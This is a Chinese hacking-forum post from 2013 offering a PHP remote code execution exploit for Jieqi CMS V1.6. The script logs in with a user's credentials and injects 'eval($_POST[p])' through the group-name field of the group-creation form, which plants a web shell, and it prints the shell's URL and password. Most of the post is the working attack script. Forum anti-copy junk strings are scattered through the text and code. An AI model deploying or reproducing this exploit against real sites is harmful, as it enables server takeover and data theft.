找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1974|回复: 0
打印 上一主题 下一主题

Jieqi(杰奇)CMS V1.6 PHP代码执行0day漏洞EXP

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:28:09 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
杰奇网站管理系统(简称 JIEQI CMS,中国国家版权局著作权登记号:2006SR03382)是一套模块化的网站架设系统,具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案,并提供各类网站定制服务。7 o6 a( L+ o9 e

; k& x& O; t1 ?/ ] 9 k1 q/ g6 f8 E6 S& b  w8 d( I
该系统存在多个远程安全漏洞,今天报告的这个是1.6版本的一个远程代码执行漏洞,应该有2年多历史了。2 r0 ]4 E" a. Z( [, |8 R
需要有一个能创建圈子的用户。$ z6 I) Q* }- d! ?$ C

5 G* g' s  L* A0 x% o5 J<?php0 I. {2 E  ~/ _) P1 S8 C3 s' z; ]4 {3 t
3 o( {/ I" g+ N  X7 I& ?3 D' K
print_r('
4 a3 @5 W7 i' w: m+ {+---------------------------------------------------------------------------+* J5 b' ^! H- d! S5 F% d+ h
Jieqi CMS V1.6 PHP Code Injection Exploit
) s: N4 i& m9 e  X' T* Q! {/ R- @by flyh4t
; @  Q7 T+ a: ?+ F( f$ qmail: phpsec at hotmail dot com/ F$ f$ t0 o9 z
team: http://www.wolvez.org5 e' b5 i' A( H5 E
+---------------------------------------------------------------------------+
$ e1 [8 k* b7 O# d9 d5 p% `'); /**
9 G6 z5 A) O- D0 ^& N+ a * works regardless of php.ini settings
" [8 V2 L3 o; w) O*/ if ($argc < 5) { print_r('
# ]4 F& b( U9 p# S1 A4 I+---------------------------------------------------------------------------+
9 {$ G/ `: Y9 G6 HUsage: php '.$argv[0].' host path username
/ p8 y6 N/ _1 I" C8 P( l; T4 @host:      target server (ip/hostname)
1 v2 W' W/ _. G% o: {path:      path to jieqicms & u. s/ r( V4 g- w
uasename:  a username who can create group3 v1 g3 e5 |& n/ O! Z( n; {
Example:
$ X6 l' ]0 c' n- m9 U- Iphp '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password
* F: e' m$ z# l1 j! p/ o! D+ Q+---------------------------------------------------------------------------+9 @  z8 n( R3 ~: \4 V
'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------23281168279961: D$ s6 I: q" J2 P  D6 j
Content-Disposition: form-data; name="gname"
! m" G6 R, y& Q% z! y, n7 p; y3 z
3 L% Q9 c* n/ u& B- ^  I6 e  f( O, q'; $params .="';"; $params .='eval($_POST[p]);//flyh4t& A/ l( |0 b* z8 u, l
-----------------------------23281168279961+ M. x+ _6 [! r& o  m1 F9 [
Content-Disposition: form-data; name="gcatid"" Z+ J+ A5 N1 b4 n
) _# c' c1 m, R9 e" s$ w, P( a  g
17 V# ?# y+ z1 g% V) N& G% r
-----------------------------23281168279961. K3 m8 _0 t& e
Content-Disposition: form-data; name="gaudit"
# ~& U( f2 @- i& G
0 U; m+ I* S- `7 S" t) I* W14 O0 ^& y+ N7 A3 q
-----------------------------232811682799613 {) U# d8 L+ B- Q0 Q; S
Content-Disposition: form-data; name="gbrief". `% ]3 c8 k  K

5 v5 j  T# i: b, F6 Y  N5 U; a, v15 g% i3 B8 s( ~8 f7 w! s3 B
-----------------------------23281168279961--
2 d; Q, X  ]6 _'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com: a4 c% }  s6 N* d1 l

& @7 P" U5 K1 |8 A" mpreg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url;
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表